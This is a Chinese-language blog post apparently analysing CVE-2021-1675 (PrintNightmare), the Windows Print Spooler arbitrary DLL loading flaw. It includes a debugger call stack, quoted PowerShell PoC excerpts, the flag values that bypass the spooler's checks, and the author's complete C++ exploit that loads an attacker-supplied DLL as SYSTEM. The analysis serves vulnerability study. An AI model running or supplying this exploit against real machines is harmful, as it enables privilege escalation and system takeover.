【CVE-2021-1675】Spoolsv打印机服务任意DLL加载漏洞分析

漏洞详情

简介

打印机服务提供了添加打印机的接口,该接口缺乏安全性校验,导致攻击者可以伪造打印机信息,在添加新的打印机时实现加载恶意DLL。这造成的后果就是以system权限执行任意代码。

影响版本

windows_10 20h2
windows_10 21h1
windows_10 1607
windows_10 1809
windows_10 1909
windows_10 2004
windows_7 sp1
windows_8.1
windows_rt_8.1
windows_server_2008 sp2
windows_server_2008 r2 sp1 x64
windows_server_2012
windows_server_2012 r2
windows_server_2016
windows_server_2019

危害等级

8.8   ∣   H I G H \textcolor{BrickRed}{8.8\ |\ HIGH} 8.8  HIGH

漏洞复现

【环境】 W i n 10   1909   18363.592   x 64 \textcolor{green}{【环境】Win10\ 1909\ 18363.592\ x64} 【环境】Win10 1909 18363.592 x64

POC下载见参考

非管理员权限下,直接利用漏洞添加一个管理员账户

在这里插入图片描述

漏洞分析

加载任意模块调用栈

# Child-SP          RetAddr               Call Site
00 00000000`00d9c5d8 00007ff8`61a6a233     ntdll!NtMapViewOfSection+0x14
01 00000000`00d9c5e0 00007ff8`61a69f96     ntdll!LdrpMinimalMapModule+0x103
02 00000000`00d9c6a0 00007ff8`61a6d5b7     ntdll!LdrpMapDllWithSectionHandle+0x1a
03 00000000`00d9c6f0 00007ff8`61a6e608     ntdll!LdrpMapDllNtFileName+0x183
04 00000000`00d9c7f0 00007ff8`61a6e360     ntdll!LdrpMapDllFullPath+0xe0
05 00000000`00d9c980 00007ff8`61a62536     ntdll!LdrpProcessWork+0x74
06 00000000`00d9c9e0 00007ff8`61a622a8     ntdll!LdrpLoadDllInternal+0x13e
07 00000000`00d9ca60 00007ff8`61a61764     ntdll!LdrpLoadDll+0xa8
08 00000000`00d9cc10 00007ff8`5eb956d0     ntdll!LdrLoadDll+0xe4
09 00000000`00d9cd00 00007ff8`463777c1     KERNELBASE!LoadLibraryExW+0x170
0a 00000000`00d9cd70 00007ff8`46377395     winspool!Ordinal213+0x4d1
0b 00000000`00d9ce20 00007ff8`460f603f     winspool!Ordinal213+0xa5
0c 00000000`00d9ce70 00007ff8`460f52a5     PrintIsolationProxy!DllUnregisterServer+0x103f
0d 00000000`00d9cf20 00007ff8`462c2bc7     PrintIsolationProxy!DllUnregisterServer+0x2a5
0e 00000000`00d9cf90 00007ff8`462c0a1a     localspl!sandbox::SandboxObserver::GetDriverConfigModuleInterface+0x27
0f 00000000`00d9cfd0 00007ff8`46255864     localspl!sandbox::DriverConfigModuleAdapter::LoadConfigModule+0x8e
10 00000000`00d9d030 00007ff8`4624c3ee     localspl!NotifyDriver+0x134
11 00000000`00d9d0b0 00007ff8`46252a21     localspl!CompleteDriverUpgrade+0x342
12 00000000`00d9d3d0 00007ff8`462542d4     localspl!WaitRequiredForDriverUnload+0x441
13 00000000`00d9e360 00007ff8`462559cf     localspl!InternalAddPrinterDriverEx+0xc80
14 00000000`00d9e870 00007ff8`46255292     localspl!SplAddPrinterDriverEx+0xef
15 00000000`00d9e8d0 00007ff6`85544caf     localspl!LocalAddPrinterDriverEx+0xa2
16 00000000`00d9e920 00007ff6`8551fa6e     spoolsv!AddPrinterDriverExW+0x6f
17 00000000`00d9e960 00007ff6`8551c634     spoolsv!YAddPrinterDriverEx+0x2ce
18 00000000`00d9e9a0 00007ff8`60986983     spoolsv!RpcAddPrinterDriverEx+0x54
19 00000000`00d9e9d0 00007ff8`609ea036     RPCRT4!Invoke+0x73
1a 00000000`00d9ea30 00007ff8`60947a7c     RPCRT4!Ndr64StubWorker+0xb56
1b 00000000`00d9f0d0 00007ff8`609648f8     RPCRT4!NdrServerCallAll+0x3c
1c 00000000`00d9f120 00007ff8`6093c951     RPCRT4!DispatchToStubInCNoAvrf+0x18
1d 00000000`00d9f170 00007ff8`6093c20b     RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x2d1
1e 00000000`00d9f250 00007ff8`6092a86f     RPCRT4!RPC_INTERFACE::DispatchToStub+0xcb
1f 00000000`00d9f2b0 00007ff8`60929d1a     RPCRT4!LRPC_SCALL::DispatchRequest+0x31f
20 00000000`00d9f390 00007ff8`60929301     RPCRT4!LRPC_SCALL::HandleRequest+0x7fa
21 00000000`00d9f490 00007ff8`60928d6e     RPCRT4!LRPC_ADDRESS::HandleRequest+0x341
22 00000000`00d9f530 00007ff8`609269a5     RPCRT4!LRPC_ADDRESS::ProcessIO+0x89e
23 00000000`00d9f670 00007ff8`61a7346d     RPCRT4!LrpcIoComplete+0xc5
24 00000000`00d9f710 00007ff8`61a741c2     ntdll!TppAlpcpExecuteCallback+0x14d
25 00000000`00d9f760 00007ff8`61957bd4     ntdll!TppWorkerThread+0x462
26 00000000`00d9fb20 00007ff8`61aaced1     KERNEL32!BaseThreadInitThunk+0x14
27 00000000`00d9fb50 00000000`00000000     ntdll!RtlUserThreadStart+0x21

POC分析

POC主要做两件事:

  1. 枚举本地Windows x64环境下的所有打印机驱动

    if ( $winspool::EnumPrinterDrivers($null, "Windows x64", 2, $pAddr, $cbNeeded, [ref]$cbNeeded, [ref]$cReturned) ){
            $driver = [System.Runtime.InteropServices.Marshal]::PtrToStructure($pAddr, [System.Type]$DRIVER_INFO_2)
        } else {
            Write-Host "[!] failed to get current driver list"
            [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAddr)
            return
        }
    
  2. 添加打印机驱动

    $driver_info = New-Object $DRIVER_INFO_2
        $driver_info.cVersion = 3
        $driver_info.pConfigFile = $DLL
        $driver_info.pDataFile = $DLL
        $driver_info.pDriverPath = $driver.pDriverPath
        $driver_info.pEnvironment = "Windows x64"
        $driver_info.pName = $DriverName
    
        $pDriverInfo = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf($driver_info))
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($driver_info, $pDriverInfo, $false)
    
        if ( $winspool::AddPrinterDriverEx($null, 2, $pDriverInfo, $APD_COPY_ALL_FILES -bor 0x10 -bor 0x8000) ) {
            if ( $delete_me ) {
                Write-Host "[+] added user $NewUser as local administrator"
            } else {
                Write-Host "[+] driver appears to have been loaded!"
            }
        } else {
            Write-Error "[!] AddPrinterDriverEx failed"
        }
    

重点分析添加打印机驱动时参数的设置依据。可以看到攻击者是调用了 A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{AddPrinterDriverEx} AddPrinterDriverEx函数添加的打印机驱动,这个函数其实是打印机服务添加打印机驱动接口的一个存根。该函数原型说明如下:

BOOL AddPrinterDriverEx(
  _In_    LPTSTR pName,
  _In_    DWORD  Level,
  _Inout_ LPBYTE pDriverInfo,
  _In_    DWORD  dwFileCopyFlags
);
  • pName - 指向以 null 结尾的字符串的指针,该字符串指定应安装驱动程序的服务器的名称。 如果此参数为 NULL,则该函数将在本地计算机上安装驱动程序。

  • Level - pDriverInfo 指向的结构的版本。 此值可以是 2、3、4、6 或 8。

  • pDriverInfo - 根据Level的取值,该参数对应的结构有

    Level结构体
    2DRIVER_INFO_2
    3DRIVER_INFO_3
    4DRIVER_INFO_4
    6DRIVER_INFO_6
    8DRIVER_INFO_8

    2-6对应的结构体都是8对应的结构体的一部分,本次漏洞利用只需要2对应的那部分。

    typedef struct _DRIVER_INFO_2 {
      DWORD  cVersion;						// 为其编写驱动程序的操作系统版本。 支持的值为 3。
      LPTSTR pName;							// 指向以 null 结尾的字符串的指针,该字符串指定驱动程序的名称 (例如“QMS 810”)。
      LPTSTR pEnvironment;					// 指向以 null 结尾的字符串的指针,该字符串指定 (为其编写驱动程序的环境,例如 Windows x86、Windows IA64 和 Windows x64) 。
      LPTSTR pDriverPath;					// 指向以 null 结尾的字符串的指针,指定包含设备驱动程序 (的文件的文件名或完整路径和文件名,例如“c:\drivers\pscript.dll”) 。
      LPTSTR pDataFile;						// 指向以 null 结尾的字符串的指针,该字符串指定包含驱动程序数据的文件名或完整路径和文件名, (例如“c:\drivers\Qms810.ppd”) 。
      LPTSTR pConfigFile;					// 指向以 null 结尾的字符串的指针,该字符串指定设备驱动程序配置.dll (的文件名或完整路径和文件名,例如“c:\drivers\Pscrptui.dll”) 。
    } DRIVER_INFO_2, *PDRIVER_INFO_2;
    
  • dwFileCopyFlags - 含义如下:

    含义
    APD_COPY_ALL_FILES添加打印机驱动程序并复制 printer-driver 目录中的所有文件。 使用此选项忽略文件时间戳。
    APD_COPY_FROM_DIRECTORY使用 在 DRIVER_INFO_6 结构中指定的完全限定文件名添加打印机驱动程序。 此标志是 ORed 与其他复制标志之一。 如果设置了此标志,则如果DRIVER_INFO_6结构指定存在的文件不存在,则 AddPrinterDriverEx 将失败。 无需将文件复制到系统的打印机驱动程序目录。 请参阅备注。 Windows 2000: 不支持此标志。
    APD_COPY_NEW_FILES添加打印机驱动程序,并复制打印机驱动程序目录中比当前使用的任何相应文件更新的文件。 此标志模拟 AddPrinterDriver 的行为。
    APD_STRICT_DOWNGRADE仅当打印机驱动程序目录中的所有文件都早于当前使用的任何相应文件时,才添加打印机驱动程序。
    APD_STRICT_UPGRADE仅当打印机驱动程序目录中的所有文件都比当前使用的任何相应文件更新时,才添加打印机驱动程序。

从上面的调用栈中了解到该函数会发送RPC请求打印机服务对应的接口 R p c A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{RpcAddPrinterDriverEx} RpcAddPrinterDriverEx

要想成功添加打印机驱动,中间要通过两处关键检查。

  • S p l A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{SplAddPrinterDriverEx} SplAddPrinterDriverEx内部:

在这里插入图片描述

  • I n t e r n a l A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{InternalAddPrinterDriverEx} InternalAddPrinterDriverEx内部:

在这里插入图片描述

最终会加载位于DRIVER_INFO_2结构体中pConfigFile字段指向的模块。

漏洞利用

为了完成漏洞利用,首先枚举当前系统的打印机驱动,选取一个驱动路径填充到DRIVER_INFO_2pDriverPath字段中。然后参数dwFileCopyFlags0x8014即可绕过上面分析中的两处检查,最终到达漏洞点。

我的EXP代码:

#include <iostream>
#include <windows.h>


void Exploit()
{
    const char* pName = "Hack";
    const char* pVenomDll = "Your venmo dll";
    const char* pEnvironment = "Windows x64";
    PDRIVER_INFO_2A pDrvInfo = NULL;
    DRIVER_INFO_2A drvInfo;
    PBYTE pBuffer = NULL;
    DWORD cbNeed = 0;
    DWORD nDrv;
    BOOL bRet;
    // 枚举本地所有Windows x64的打印机
    bRet = EnumPrinterDriversA(
        NULL,
        (LPSTR)pEnvironment,
        2,
        NULL,
        cbNeed,
        &cbNeed,
        &nDrv);

	pBuffer = new BYTE[cbNeed];
	if (pBuffer == NULL)
		goto cleanup;

	bRet = EnumPrinterDriversA(
		NULL,
		(LPSTR)pEnvironment,
		2,
        pBuffer,
		cbNeed,
		&cbNeed,
		&nDrv);

	if (!bRet)
		goto cleanup;

    pDrvInfo = (PDRIVER_INFO_2A)pBuffer;

    for (DWORD i = 0; i < nDrv; i++)
    {
        printf(
            "[+] DriverName: %s\n"
            "    DriverPath: %s\n",
            pDrvInfo[i].pName,
            pDrvInfo[i].pDriverPath
        );
    }

    drvInfo.cVersion = 3;
    drvInfo.pDriverPath = pDrvInfo[0].pDriverPath;
    drvInfo.pConfigFile = (LPSTR)pVenomDll;
    drvInfo.pDataFile = (LPSTR)pVenomDll;
    drvInfo.pEnvironment = (LPSTR)pEnvironment;
    drvInfo.pName = (LPSTR)pName;

    bRet = AddPrinterDriverExA(NULL, 2,(PBYTE)&drvInfo, APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | 0x8000);
    if (!bRet)
    {
        printf("[-] ErrorCode: 0x%x\n", GetLastError());
    }

cleanup:
    if (pBuffer)
        delete[] pBuffer;
}

int main()
{
    Exploit();

    return 0;
}

参考

[1] https://github.com/calebstewart/CVE-2021-1675

[2] https://nvd.nist.gov/vuln/detail/CVE-2021-1675

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值